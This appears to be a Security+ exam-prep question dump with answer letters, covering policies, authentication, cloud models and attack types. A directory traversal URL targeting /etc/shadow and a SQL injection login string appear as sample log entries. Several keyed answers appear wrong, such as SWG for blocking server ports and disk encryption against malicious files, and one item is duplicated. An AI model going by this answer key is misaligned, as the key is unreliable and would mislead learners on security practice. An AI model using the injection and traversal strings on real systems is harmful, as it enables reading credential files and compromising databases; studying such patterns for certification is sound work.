A security analyst reviews web server logs and notices the following lines: Which of the following vulnerabilities has the attacker exploited? (Choose two.) A. Race condition B. LFI C. Pass the hash D. XSS E. RFI F. Directory traversal

B. LFI F. Directory traversal

An employee received a word processing file that was delivered as an email attachment. The subject line and email content enticed the employee to open the attachment. Which of the following attack vectors BEST matches this malware? A. Embedded Python code B. Macro-enabled file C. Bash scripting D. Credential-harvesting website

B. Macro-enabled file

Field workers in an organization are issued mobile phones on a daily basis. All the work is performed within one city, and the mobile phones are not used for any purpose other than work. The organization does not want these phones used for personal purposes. The organization would like to issue the phones to workers as permanent devices so the phones do not need to be reissued every day. Given the conditions described, which of the following technologies would BEST meet these requirements? A. Geofencing B. Mobile device management C. Containerization D. Remote wiping

B. Mobile device management

A cybersecurity administrator needs to implement a Layer 7 security control on a network and block potential attacks. Which of the following can block an attack at Layer 7? (Choose two.) A. HIDS B. NIPS C. HSM D. WAF E. NAC F. NIDS

B. NIPS D. WAF

Which of the following processes will eliminate data using a method that will allow the storage device to be reused after the process is complete? A. Pulverizing B. Overwriting C. Shredding D. Degaussing

B. Overwriting

Multiple business accounts were compromised a few days after a public website had its credentials database leaked on the Internet. No business emails were identified in the breach, but the security team thinks that the list of passwords exposed was later used to compromise business accounts. Which of the following would mitigate the issue? A. Complexity requirements B. Password history C. Acceptable use policy D. Shared accounts

B. Password history

A SOC operator is receiving continuous alerts from multiple Linux systems indicating that unsuccessful SSH attempts to a functional user ID have been attempted on each one of them in a short period of time. Which of the following BEST explains this behavior? A. Rainbow table attack B. Password spraying C. Logic bomb D. Malware bot

B. Password spraying

A business operations manager is concerned that a PC that is critical to business operations will have a costly hardware failure soon. The manager is looking for options to continue business operations without incurring large costs. Which of the following would mitigate the manager's concerns? A. Implement a full system upgrade. B. Perform a physical-to-virtual migration. C. Install uninterruptible power supplies. D. Purchase cybersecurity insurance.

B. Perform a physical-to-virtual migration.

During a recent penetration test, the tester discovers large amounts of data were exfiltrated over the course of 12 months via the internet. The penetration tester stops the test to inform the client of the findings. Which of the following should be the client's NEXT step to mitigate the issue? A. Conduct a full vulnerability scan to identify possible vulnerabilities. B. Perform containment on the critical servers and resources. C. Review the firewall and identify the source of the active connection. D. Disconnect the entire infrastructure from the internet.

B. Perform containment on the critical servers and resources.

Which of the following can work as an authentication method and as an alerting mechanism for unauthorized access attempts? A. Smart card B. Push notifications C. Attestation service D. HMAC-based E. one-time password

B. Push notifications

An attacker browses a company's online job board attempting to find any relevant information regarding the technologies the company uses. Which of the following BEST describes this social engineering technique? A. Hoax B. Reconnaissance C. Impersonation D. Pretexting

B. Reconnaissance

Which of the following documents provides guidance regarding the recommended deployment of network security systems from the manufacturer? A. Cloud control matrix B. Reference architecture C. NIST RMF D. CIS Top 20

B. Reference architecture

A security analyst needs to be able to search and correlate logs from multiple sources in a single tool. Which of the following would BEST allow a security analyst to have this ability? A. SOAR B. SIEM C. Log collectors D. Network-attached storage

B. SIEM

Multiple beaconing activities to a malicious domain have been observed. The malicious domain is hosting malware from various endpoints on the network. Which of the following technologies would be BEST to correlate the activities between the different endpoints? A. Firewall B. SIEM C. IPS D. Protocol analyzer

B. SIEM

Which of the following documents provides expectations at a technical level for quality, availability, and responsibilities? A. EOL B. SLA C. MOU D. EOSL

B. SLA

An analyst is trying to identify insecure services that are running on the internal network. After performing a port scan, the analyst identifies that a server has some insecure services enabled on default ports. Which of the following BEST describes the services that are currently running and the secure alternatives for replacing them? (Choose three.) A. SFTP, FTPS B. SNMPv2, SNMPv3 C. HTTP, HTTPS D. TFTP, FTP E. SNMPv1, SNMPv2 F. Telnet, SSH G. TLS, SSL H. POP, IMAP I. Login, rlogin

B. SNMPv2, SNMPv3 C. HTTP, HTTPS F. Telnet, SSH

A new security engineer has started hardening systems. One of the hardening techniques the engineer is using involves disabling remote logins to the NAS. Users are now reporting the inability to use SCP to transfer files to the NAS, even though the data is still viewable from the users' PCs. Which of the following is the MOST likely cause of this issue? A. TFTP was disabled on the local hosts. B. SSH was turned off instead of modifying the configuration file. C. Remote login was disabled in the networkd.conf instead of using the sshd.conf. D. Network services are no longer running on the NAS.

B. SSH was turned off instead of modifying the configuration file.

An engineer recently deployed a group of 100 web servers in a cloud environment. Per the security policy, all web-server ports except 443 should be disabled. Which of the following can be used to accomplish this task? A. Application allow list B. SWG C. Host-based firewall D. VPN

B. SWG

A security administrator is working on a solution to protect passwords stored in a database against rainbow table attacks. Which of the following should the administrator consider? A. Hashing B. Salting C. Lightweight cryptography D. Steganography

B. Salting

A major political party experienced a server breach. The hacker then publicly posted stolen internal communications concerning campaign strategies to give the opposition party an advantage. Which of the following BEST describes these threat actors? A. Semi-authorized hackers B. State actors C. Script kiddies D. Advanced persistent threats

B. State actors

The Chief Information Security Officer (CISO) of a bank recently updated the incident response policy. The CISO is concerned that members of the incident response team do not understand their roles. The bank wants to test the policy but with the least amount of resources or impact. Which of the following BEST meets the requirements? A. Warm site failover B. Tabletop walk-through C. Parallel path testing D. Full outage simulation

B. Tabletop walk-through

Which of the following would be the BEST way to analyze diskless malware that has infected a VDI? A. Shut down the VDI and copy off the event logs. B. Take a memory snapshot of the running system. C. Use NetFlow to identify command-and-control IPs. D. Run a full on-demand scan of the root volume.

B. Take a memory snapshot of the running system.

A security analyst has been reading about a newly discovered cyberattack from a known threat actor. Which of the following would BEST support the analyst's review of the tactics, techniques, and protocols the threat actor was observed using in previous campaigns? A. Security research publications B. The MITRE ATT&CK framework C. The Diamond Model of Intrusion Analysis D. The Cyber Kill Chain

B. The MITRE ATT&CK framework

A network-connected magnetic resonance imaging (MRI) scanner at a hospital is controlled and operated by an outdated and unsupported specialized Windows OS. Which of the following is MOST likely preventing the IT manager at the hospital from upgrading the specialized OS? A. The time needed for the MRI vendor to upgrade the system would negatively impact patients. B. The MRI vendor does not support newer versions of the OS. C. Changing the OS breaches a support SLA with the MRI vendor. D. The IT team does not have the budget required to upgrade the MRI scanner.

B. The MRI vendor does not support newer versions of the OS.

An organization is migrating several SaaS applications that support SSO. The security manager wants to ensure the migration is completed securely. Which of the following application integration aspects should the organization consider before focusing into underlying implementation details? (Choose two.) A. The back-end directory source B. The identity federation protocol C. The hashing method D. The encryption method E. The registration authority F. The certificate authority

B. The identity federation protocol F. The certificate authority

Which of the following in the incident response process is the BEST approach to improve the speed of the identification phase? A. Activate verbose logging in all critical assets. B. Tune monitoring in order to reduce false positive rates. C. Redirect all events to multiple syslog servers. D. Increase the number of sensors present on the environment.

B. Tune monitoring in order to reduce false positive rates.

A major manufacturing company updated its internal infrastructure and just recently started to allow OAuth applications to access corporate data. Data leakage is now being reported. Which of the following MOST likely caused the issue? A. Privilege creep B. Unmodified default settings C. TLS protocol vulnerabilities D. Improper patch management Hide Solution

B. Unmodified default settings

A technician was dispatched to complete repairs on a server in a data center. While locating the server, the technician entered a restricted area without authorization. Which of the following security controls would BEST prevent this in the future? A. Use appropriate signage to mark all areas. B. Utilize cameras monitored by guards. C. Implement access control vestibules. D. Enforce escorts to monitor all visitors.

B. Utilize cameras monitored by guards.

A security architect is required to deploy to conference rooms some workstations that will allow sensitive data to be displayed on large screens. Due to the nature of the data, it cannot be stored in the conference rooms. The file share is located in a local data center. Which of the following should the security architect recommend to BEST meet the requirement? A. Fog computing and KVMs B. VDI and thin clients C. Private cloud and DLP D. Full drive encryption and thick clients

B. VDI and thin clients

A company has a flat network that is deployed in the cloud. Security policy states that all production and development servers must be segmented. Which of the following should be used to design the network to meet the security requirements? A. CASB B. VPC C. Perimeter network D. WAF

B. VPC

A security analyst is tasked with defining the "something you are" factor of the company's MFA settings. Which of the following is BEST to use to complete the configuration? A. Gait analysis B. Vein C. Soft token D. HMAC-based, one-time password

B. Vein

A security engineer must deploy two wireless routers in an office suite. Other tenants in the office building should not be able to connect to this wireless network. Which of the following protocols should the engineer implement to ensure the STRONGEST encryption? A. WPS B. WPA2 C. WAP D. HTTPS

B. WPA2

A company wants to simplify the certificate management process. The company has a single domain with several dozen subdomains, all of which are publicly accessible on the internet. Which of the following BEST describes the type of certificate the company should implement? A. Subject alternative name B. Wildcard C. Self-signed D. Domain validation

B. Wildcard

company wants to deploy PKI on its internet-facing website. The applications that are currently deployed are:• www.company.com (main website)• contactus.company.com (for locating a nearby location)• quotes.company.com (for requesting a price quote)The company wants to purchase one SSL certificate that will work for all the existing applications and any future applications that follow the same naming conventions, such as store.company.com. Which of the following certificate types would BEST meet the requirements? A. SAN B. Wildcard C. Extended validation D. Self-signed

B. Wildcard

A cryptomining company recently deployed a new antivirus application to all of its mining systems. The installation of the antivirus application was tested on many personal devices, and no issues were observed. Once the antivirus application was rolled out to the servers, constant issues were reported. As a result, the company decided to remove the mining software. The antivirus application was MOST likely classifying the software as: A. a rootkit. B. a PUP. C. a backdoor. D. ransomware. E. a RAT.

B. a PUP. (Potentially unwanted program)

A cybersecurity analyst reviews the log files from a web server and sees a series of files that indicate a directory traversal attack has occurred. Which of the following is the analyst MOST likely seeing? A. http://sample.url.com/ B. http://sample.url.com/someotherpageonsite/../../../etc/shadow C. http://sample.url.com/select-from-database-where-password-null D. http://redirect.sameple.url.sampleurl.com/malicious-dns-redirect

B. http://sample.url.com/someotherpageonsite/../../../etc/shadow

A security manager has tasked the security operations center with locating all web servers that respond to an unsecure protocol. Which of the following commands could an analyst run to find the requested servers? A. nslookup 10.10.10.0 B. nmap -p 80 10.10.10.0/24 C. pathping 10.10.10.0 -p 80 D. ne -l -p 80

B. nmap -p 80 10.10.10.0/24

A network manager is concerned that business may be negatively impacted if the firewall in its data center goes offline. The manager would like to implement a high availability pair to: A. decrease the mean time between failures. B. remove the single point of failure. C. cut down the mean time to repair. D. reduce the recovery time objective.

B. remove the single point of failure.

The attacker embeds hidden access in an internally developed application that bypasses account login

Backdoor - Conduct a code review

company uses specially configured workstations for any work that requires administrator privileges to its Tier 0 and Tier 1 systems. The company follows a strict process to harden systems immediately upon delivery. Even with these strict security measures in place, an incident occurred from one of the workstations. The root cause appears to be that the SoC was tampered with or replaced. Which of the following MOST likely occurred? A. Fileless malware B. A downgrade attack C. A supply-chain attack D. A logic bomb E. Misconfigured BIOS

C. A supply-chain attack

Which of the following statements BEST describes zero-day exploits? A. When a zero-day exploit is discovered, the system cannot be protected by any means. B. Zero-day exploits have their own scoring category in CVSS. C. A zero-day exploit is initially undetectable, and no patch for it exists. D. Discovering zero-day exploits is always performed via bug bounty programs.

C. A zero-day exploit is initially undetectable, and no patch for it exists.

A company discovered that terabytes of data have been exfiltrated over the past year after an employee clicked on an email link. The threat continued to evolve and remain undetected until a security analyst noticed an abnormal amount of external connections when the employee was not working. Which of the following is the MOST likely threat actor? A. Shadow IT B. Script kiddies C. APT D. Insider threat

C. APT

Which of the following prevents an employee from seeing a colleague who is visiting an inappropriate website? A. Job rotation policy B. NDA C. AUP D. Separation of duties policy

C. AUP

A security team discovered a large number of company-issued devices with non-work-related software installed. Which of the following policies would MOST likely contain language that would prohibit this activity? A. NDA B. BPA C. AUP D. SLA

C. AUP (acceptable use policy)

During an incident response, an analyst applied rules to all inbound traffic on the border firewall and implemented ACLs on each critical server. Following an investigation, the company realizes it is still vulnerable because outbound traffic is not restricted, and the adversary is able to maintain a presence in the network. In which of the following stages of the Cyber Kill Chain is the adversary currently operating? A. Reconnaissance B. Command and control C. Actions on objective D. Exploitation

C. Actions on objective

Which of the following would BEST provide detective and corrective controls for thermal regulation? A. A smoke detector B. A fire alarm C. An HVAC system D. A fire suppression system E. Guards

C. An HVAC system

Which of the following is the MOST relevant security check to be performed before embedding third-party libraries in developed code? A. Check to see if the third party has resources to create dedicated development and staging environments. B. Verify the number of companies that downloaded the third-party code and the number of contributions on the code repository. C. Assess existing vulnerabilities affecting the third-party code and the remediation efficiency of the libraries' developers. D. Read multiple penetration-testing reports for environments running software that reused the library.

C. Assess existing vulnerabilities affecting the third-party code and the remediation efficiency of the libraries' developers.

During a recent incident, an external attacker was able to exploit an SMB vulnerability over the internet. Which of the following action items should a security analyst perform FIRST to prevent this from occurring again? A. Check for any recent SMB CVEs. B. Install AV on the affected server. C. Block unneeded TCP 445 connections. D. Deploy a NIDS in the affected subnet.

C. Block unneeded TCP 445 connections.

A penetration tester is fuzzing an application to identify where the EIP of the stack is located on memory. Which of the following attacks is the penetration tester planning to execute? A. Race-condition B. Pass-the-hash C. Buffer overflow D. XSS

C. Buffer overflow

An organization is planning to roll out a new mobile device policy and issue each employee a new laptop. These laptops would access the users' corporate operating system remotely and allow them to use the laptops for purposes outside of their job roles. Which of the following deployment models is being utilized? A. MDM and application management B. BYOD and containers C. COPE and VDI D. CYOD and VMs

C. COPE and VDI

A company wants to restrict emailing of PHI documents. The company is implementing a DLP solution. In order to restrict PHI documents, which of the following should be performed FIRST? A. Retention B. Governance C. Classification D. Change management

C. Classification

An attacker replaces a digitally signed document with another version that goes unnoticed. Upon reviewing the document's contents, the author notices some additional verbiage that was not originally in the document but cannot validate an integrity issue. Which of the following attacks was used? A. Cryptomalware B. Hash substitution C. Collision D. Phishing

C. Collision

An organization has hired a red team to simulate attacks on its security posture. Which of the following will the blue team do after detecting an IoC? A. Reimage the impacted workstations. B. Activate runbooks for incident response. C. Conduct forensics on the compromised system. D. Conduct passive reconnaissance to gather information.

C. Conduct forensics on the compromised system.

A company recently decided to allow its employees to use their personally owned devices for tasks like checking email and messaging via mobile applications. The company would like to use MDM, but employees are concerned about the loss of personal data. Which of the following should the IT department implement to BEST protect the company against company data loss while still addressing the employees' concerns? A. Enable the remote-wiping option in the MDM software in case the phone is stolen. B. Configure the MDM software to enforce the use of PINs to access the phone. C. Configure MDM for FDE without enabling the lock screen. D. Perform a factory reset on the phone before installing the company's applications.

C. Configure MDM for FDE without enabling the lock screen.

A security analyst is receiving numerous alerts reporting that the response time of an internet-facing application has been degraded. However, the internal network performance was not degraded. Which of the following MOST likely explains this behavior? A. DNS poisoning B. MAC flooding C. DDoS attack D. ARP poisoning

C. DDoS attack

A user is attempting to navigate to a website from inside the company network using a desktop. When the user types in the URL, https://www.site.com, the user is presented with a certificate mismatch warning from the browser. The user does not receive a warning when visiting http://www.anothersite.com. Which of the following describes this attack? A. On-path B. Domain hijacking C. DNS poisoning D. Evil twin

C. DNS poisoning

Which of the following should be monitored by threat intelligence researchers who search for leaked credentials? A. Common Weakness Enumeration B. OSINT C. Dark web D. Vulnerability databases

C. Dark web

A technician enables full disk encryption on a laptop that will be taken on a business trip. Which of the following does this process BEST protect? A. Data in transit B. Data in processing C. Data at rest D. Data tokenization

C. Data at rest

A security analyst is designing the appropriate controls to limit unauthorized access to a physical site. The analyst has a directive to utilize the lowest possible budget. Which of the following would BEST meet the requirements? A. Preventive controls B. Compensating controls C. Deterrent controls D. Detective controls

C. Deterrent controls

A new plug-and-play storage device was installed on a PC in the corporate environment. Which of the following safeguards will BEST help to protect the PC from malicious files on the storage device? A. Change the default settings on the PC. B. Define the PC firewall rules to limit access. C. Encrypt the disk on the storage device. D. Plug the storage device in to the UPS.

C. Encrypt the disk on the storage device.

A forensic analyst needs to prove that data has not been tampered with since it was collected. Which of the following methods will the analyst MOST likely use? A. Look for tampering on the evidence collection bag. B. Encrypt the collected data using asymmetric encryption. C. Ensure proper procedures for chain of custody are being followed. D. Calculate the checksum using a hashing algorithm.

C. Ensure proper procedures for chain of custody are being followed.

A company wants to improve end users' experiences when they log in to a trusted partner website. The company does not want the users to be issued separate credentials for the partner website. Which of the following should be implemented to allow users to authenticate using their own credentials to log in to the trusted partner's website? A. Directory service B. AAA server C. Federation D. Multifactor authentication

C. Federation

The Chief Compliance Officer from a bank has approved a background check policy for all new hires. Which of the following is the policy MOST likely protecting against? A. Preventing any current employees' siblings from working at the bank to prevent nepotism B. Hiring an employee who has been convicted of theft to adhere to industry compliance C. Filtering applicants who have added false information to resumes so they appear better qualified D. Ensuring no new hires have worked at other banks that may be trying to steal customer information

C. Filtering applicants who have added false information to resumes so they appear better qualified

An enterprise has hired an outside security firm to conduct penetration testing on its network and applications. The firm has been given the documentation only available to the customers of the applications. Which of the following BEST represents the type of testing that will occur? A. Bug bounty B. Black-box C. Gray-box D. White-box

C. Gray-box

As part of the building process for a web application, the compliance team requires that all PKI certificates are rotated annually and can only contain wildcards at the secondary subdomain level. Which of the following certificate properties will meet these requirements? A. HTTPS://*.comptia.org, Valid from April 10 00:00:00 2021 - April 8 12:00:00 2022 B. HTTPS://app1.comptia.org, Valid from April 10 00:00:00 2021 - April 8 12:00:00 2022 C. HTTPS://*.app1.comptia.org, Valid from April 10 00:00:00 2021 - April 8 12:00:00 2022 D. HTTPS://*.comptia.org, Valid from April 10 00:00:00 2021 - April 8 12:00:00 2023

C. HTTPS://*.app1.comptia.org, Valid from April 10 00:00:00 2021 - April 8 12:00:00 2022

Which of the following BEST helps to demonstrate integrity during a forensic investigation? A. Event logs B. Encryption C. Hashing D. Snapshots

C. Hashing

A financial institution would like to store its customer data in a cloud but still allow the data to be accessed and manipulated while encrypted. Doing so would prevent the cloud service provider from being able to decipher the data due to its sensitivity. The financial institution is not concerned about computational overheads and slow speeds. Which of the following cryptographic techniques would BEST meet the requirement? A. Asymmetric B. Symmetric C. Homomorphic D. Ephemeral

C. Homomorphic

A cloud service provider has created an environment where customers can connect existing local networks to the cloud for additional computing resources and block internal HR applications from reaching the cloud. Which of the following cloud models is being used? A. Public B. Community C. Hybrid D. Private

C. Hybrid

The SOC for a large MSSP is meeting to discuss the lessons learned from a recent incident that took much too long to resolve. This type of incident has become more common in recent weeks and is consuming large amounts of the analysts' time due to manual tasks being performed. Which of the following solutions should the SOC consider to BEST improve its response time? A. Configure a NIDS appliance using a Switched Port Analyzer. B. Collect OSINT and catalog the artifacts in a central repository. C. Implement a SOAR with customizable playbooks. D. Install a SIEM with community-driven threat intelligence.

C. Implement a SOAR with customizable playbooks.

Which of the following is the MOST effective way to detect security flaws present on third-party libraries embedded on software before it is released into production? A. Employ different techniques for server- and client-side validations B. Use a different version control system for third-party libraries C. Implement a vulnerability scan to assess dependencies earlier on SDLC D. Increase the number of penetration tests before software release

C. Implement a vulnerability scan to assess dependencies earlier on SDLC

An analyst is reviewing logs associated with an attack. The logs indicate an attacker downloaded a malicious file that was quarantined by the AV solution. The attacker utilized a local non-administrative account to restore the malicious file to a new location. The file was then used by another process to execute a payload. Which of the following attacks did the analyst observe? A. Privilege escalation B. Request forgeries C. Injection D. Replay attack

C. Injection

Which of the following is the MOST effective control against zero-day vulnerabilities? A. Network segmentation B. Patch management C. Intrusion prevention system D. Multiple vulnerability scanners

C. Intrusion prevention system

A company is required to continue using legacy software to support a critical service. Which of the following BEST explains a risk of this practice? A. Default system configuration B. Unsecure protocols C. Lack of vendor support D. Weak encryption

C. Lack of vendor support

A Chief Security Officer is looking for a solution that can reduce the occurrence of customers receiving errors from back-end infrastructure when systems go offline unexpectedly. The security architect would like the solution to help maintain session persistence. Which of the following would BEST meet the requirements? A. Reverse proxy B. NIC teaming C. Load balancer D. Forward proxy

C. Load balancer

An amusement park is implementing a biometric system that validates customers' fingerprints to ensure they are not sharing tickets. The park's owner values customers above all and would prefer customers' convenience over security. For this reason, which of the following features should the security team prioritize FIRST? A. Low FAR B. Low efficacy C. Low FRR D. Low CER

C. Low FRR

A security engineer was assigned to implement a solution to prevent attackers from gaining access by pretending to be authorized users. Which of the following technologies meets the requirement? A. SSO B. IDS C. MFA D. TPM

C. MFA

A security analyst wants to reference a standard to develop a risk management program. Which of the following is the BEST source for the analyst to use? A. SSAE SOC 2 B. ISO 31000 C. NIST CSF D. GDPR

C. NIST CSF

A Chief Information Security Officer (CISO) is evaluating the dangers involved in deploying a new ERP system for the company. The CISO categorizes the system, selects the controls that apply to the system, implements the controls, and then assesses the success of the controls before authorizing the system. Which of the following is the CISO using to evaluate the environment for this new ERP system? A. The Diamond Model of Intrusion Analysis B. CIS Critical Security Controls C. NIST Risk Management Framework D. ISO 27002

C. NIST Risk Management Framework

Which of the following is an example of risk avoidance? A. Installing security updates directly in production to expedite vulnerability fixes B. Buying insurance to prepare for financial loss associated with exploits C. Not installing new software to prevent compatibility errors D. Not taking preventive measures to stop the theft of equipment

C. Not installing new software to prevent compatibility errors

An employee's company account was used in a data breach. Interviews with the employee revealed:• The employee was able to avoid changing passwords by using a previous password again.• The account was accessed from a hostile, foreign nation, but the employee has never traveled to any other countries.Which of the following can be implemented to prevent these issues from reoccurring? (Choose two.) A. Geographic dispersal B. Password complexity C. Password history Most Voted D. Geotagging E. Password lockout F. Geofencing

C. Password history F. Geofencing

As part of annual audit requirements, the security team performed a review of exceptions to the company policy that allows specific users the ability to use USB storage devices on their laptops. The review yielded the following results:• The exception process and policy have been correctly followed by the majority of users.• A small number of users did not create tickets for the requests but were granted access.• All access had been approved by supervisors.• Valid requests for the access sporadically occurred across multiple departments.• Access, in most cases, had not been removed when it was no longer needed.Which of the following should the company do to ensure that appropriate access is not disrupted but unneeded access is removed in a reasonable time frame? A. Create an automated, monthly attestation process that removes access if an employee's supervisor denies the approval. B. Remove access for all employees and only allow new access to be granted if the employee's supervisor approves the request. C. Perform a quarterly audit of all user accounts that have been granted access and verify the exceptions with the management team. D. Implement a ticketing system that tracks each request and generates reports listing which employees actively use USB storage devices.

C. Perform a quarterly audit of all user accounts that have been granted access and verify the exceptions with the management team.

Joe, an employee, receives an email stating he won the lottery. The email includes a link that requests a name, mobile phone number, address, and date of birth be provided to confirm Joe's identity before sending him the prize. Which of the following BEST describes this type of email? A. Spear phishing B. Whaling C. Phishing D. Vishing

C. Phishing

Physical access to the organization's servers in the data center requires entry and exit through multiple access points: a lobby, an access control vestibule, three doors leading to the server floor, a door to the server floor itself, and eventually to a caged area solely for the organization's hardware. Which of the following controls is described in this scenario? A. Compensating B. Deterrent C. Preventive D. Detective

C. Preventive

Which of the following describes the exploitation of an interactive process to gain access to restricted areas? A. Persistence B. Buffer overflow C. Privilege escalation D. Pharming

C. Privilege escalation

Which of the following terms describes a broad range of information that is sensitive to a specific organization? A. Public B. Top secret C. Proprietary D. Open-source

C. Proprietary

A company is implementing MFA for all applications that store sensitive data. The IT manager wants MFA to be non-disruptive and user friendly. Which of the following technologies should the IT manager use when implementing MFA? A. One-time passwords B. Email tokens C. Push notifications D. Hardware authentication

C. Push notifications

A security analyst has been tasked with finding the maximum amount of data loss that can occur before ongoing business operations would be impacted. Which of the following terms BEST defines this metric? A. MTTR B. RTO C. RPO D. MTBF

C. RPO

The Chief Information Security Officer (CISO) has requested that a third-party vendor provide supporting documents that show proper controls are in place to protect customer data. Which of the following would be BEST for the third-party vendor to provide to the CISO? A. GDPR compliance attestation B. Cloud Security Alliance materials C. SOC 2 Type 2 report D. NIST RMF workbooks

C. SOC 2 Type 2 report

A security analyst is reviewing application logs to determine the source of a breach and locates the following log: https://www.comptia.com/login.php?id='%20or%20'1'1='1 Which of the following has been observed?

C. SQLi

A security analyst is reviewing application logs to determine the source of a breach and locates the following log: https://www.comptia.com/login.php?id='%20or%20'1'1='1 Which of the following has been observed? A. DLL Injection B. API attack C. SQLi D. XSS

C. SQLi

A security engineer is building a file transfer solution to send files to a business partner. The users would like to drop off the files in a specific directory and have the server send the file to the business partner. The connection to the business partner is over the internet and needs to be secure. Which of the following can be used? A. S/MIME B. LDAPS C. SSH D. SRTP

C. SSH

A security analyst is working on a project to implement a solution that monitors network communications and provides alerts when abnormal behavior is detected. Which of the following is the security analyst MOST likely implementing? A. Vulnerability scans B. User behavior analysis C. Security orchestration, automation, and response D. Threat hunting

C. Security orchestration, automation, and respons

An organization has expanded its operations by opening a remote office. The new office is fully furnished with office resources to support up to 50 employees working on any given day. Which of the following VPN solutions would BEST support the new office? A. Always-on B. Remote access C. Site-to-site D. Full tunnel

C. Site-to-site

An attacker has determined the best way to impact operations is to infiltrate third-party software vendors. Which of the following vectors is being exploited? A. Social media B. Cloud C. Supply chain D. Social Engineering

C. Supply chain

A security analyst needs to centrally manage credentials and permissions to the company's network devices. The following security requirements must be met:• All actions performed by the network staff must be logged.• Per-command permissions must be possible.• The authentication server and the devices must communicate through TCP.Which of the following authentication protocols should the analyst choose? A. Kerberos B. CHAP C. TACACS+ D. RADIUS

C. TACACS+

A company recently experienced an inside attack using a corporate machine that resulted in data compromise. Analysis indicated an unauthorized change to the software circumvented technological protection measures. The analyst was tasked with determining the best method to ensure the integrity of the systems remains intact and local and remote boot attestation can take place. Which of the following would provide the BEST solution? A. HIPS B. FIM C. TPM D. DLP

C. TPM

A company needs to validate its updated incident response plan using a real-world scenario that will test decision points and relevant incident response actions without interrupting daily operations. Which of the following would BEST meet the company's requirements? A. Red-team exercise B. Capture-the-flag exercise C. Tabletop exercise D. Phishing exercise

C. Tabletop exercise